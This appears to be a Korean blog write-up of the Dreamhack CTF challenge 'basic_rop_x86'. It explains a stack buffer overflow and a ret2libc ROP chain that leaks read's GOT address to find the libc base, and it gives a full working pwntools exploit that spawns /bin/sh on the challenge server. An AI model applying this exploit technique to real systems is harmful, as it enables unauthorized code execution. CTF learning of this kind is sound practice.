Dreamhack - basic_rop_x86

2023. 9. 16. 20:50포너블

이번 시간에는 전 포스터에서 올렸던 32bit rop문제를 복습할겸 가져왔다. 

문제 설명은 위에 같다. 취약점을 찾아서 익스플로잇해서 플래그를 구하는 과정을 설명하겠다.

 이 소스코드에서는 buf값을 0x40으로 정의하고 있는데 read함수에서 0x400만큼을 읽음으로써 버퍼 오버플로우라는 취약점이 발생게된다. 이 버퍼오버플로우 취약점을 악용해서 익스를 하고자 한다. 이때 라이브러리의 베이스 주소를 구해서 프로그램 간의 주소를 맞춰줘야한다. 때문에 read함수의 got 부분이 필요하다.

먼저 plt 부분의 주소는 0x80483f0인 것을 확인할 수 있다. 이 부분을 좀 더 자세히 들여다 보겠다.

조금 더 자세히 보면 0x804a00c인 것을 확인할 수 있고 여기가 read함수의 got라는 것을 확인할 수 있다.

그리고 buf부터 $esp 값의 차이는 0x48임으로 이 다음으로 오는 게 ret주소가 되겠다. 

페이로드 구성에 필요한 가젯들을 하나씩 모으면 위 사진과 같게 된다. 이때 write_plt는 read_got를 출력하는데 사용되고 pppr가젯은 write함수의 인자 값을 정의해 주는데 사용된다. pr 가젯은 system 함수의 인자 값을 넣어줄 때 사용된다.

'\x90' no opreation code로 0x48만큼의 크기를 채운 뒤에 오는 주소 ret주소를 write_plt로 해주고 write함수에는 인자가 3개 필요함으로 1, read_got, 4(사이즈)를 넣어주게된다. 그리고 뒤에 main함수 다시 리턴해줘서 입력 값을 전달할 수 있는 상태로 만든다.

이후 출력되는 read_got를 저장해주고 이걸 통해 libc_Base주소를 구해준다. 베이스 주소를 구한 뒤 베이스 주소를 각 libc.symbols에 더한다. 이때 /bin/sh도 같이 더해주게 된다. 이후 다시 \x90 no operation code를 0x48만큼 다시 보내주고 system함수와 pr 가젯을 이용해 /bin/sh를 실행시켜준다.

from pwn import *

#p = process('./basic_rop_x86')
p=remote('host3.dreamhack.games',23276)
e = ELF('./basic_rop_x86')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

read_plt = 0x080483f0
read_got = 0x804a00c
write_plt = 0x08048450
pppr = 0x8048689
main = 0x080485d9
pr = 0x80483d9

payload = b'\x90'*0x48
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(main)

pause()
p.sendline(payload)

print(p.recv(0x40))
leak = u32(p.recv(4))
print("leak : 0x%x" %leak)

base = leak - libc.symbols['read']
system = base + libc.symbols['system']
binsh = base + next(libc.search(b'/bin/sh'))

payload = b'\x90'*0x48
payload += p32(system)
payload += p32(pr)
payload += p32(binsh)

p.sendline(payload)
p.interactive()

전체적인 페이로드는 위 코드와 같다. 궁금한 사항이 있으면 댓글 남겨주세요!

'포너블' 카테고리의 다른 글

format string bug 32bit  (0) 2023.09.30
Dreamhack - oneshot  (0) 2023.09.24
Dreamhack - basic_rop_x64  (0) 2023.09.23
Plaid CTF ropasaurusrex  (0) 2023.09.16
[dreamhack] basic_exploitation_000  (0) 2023.09.04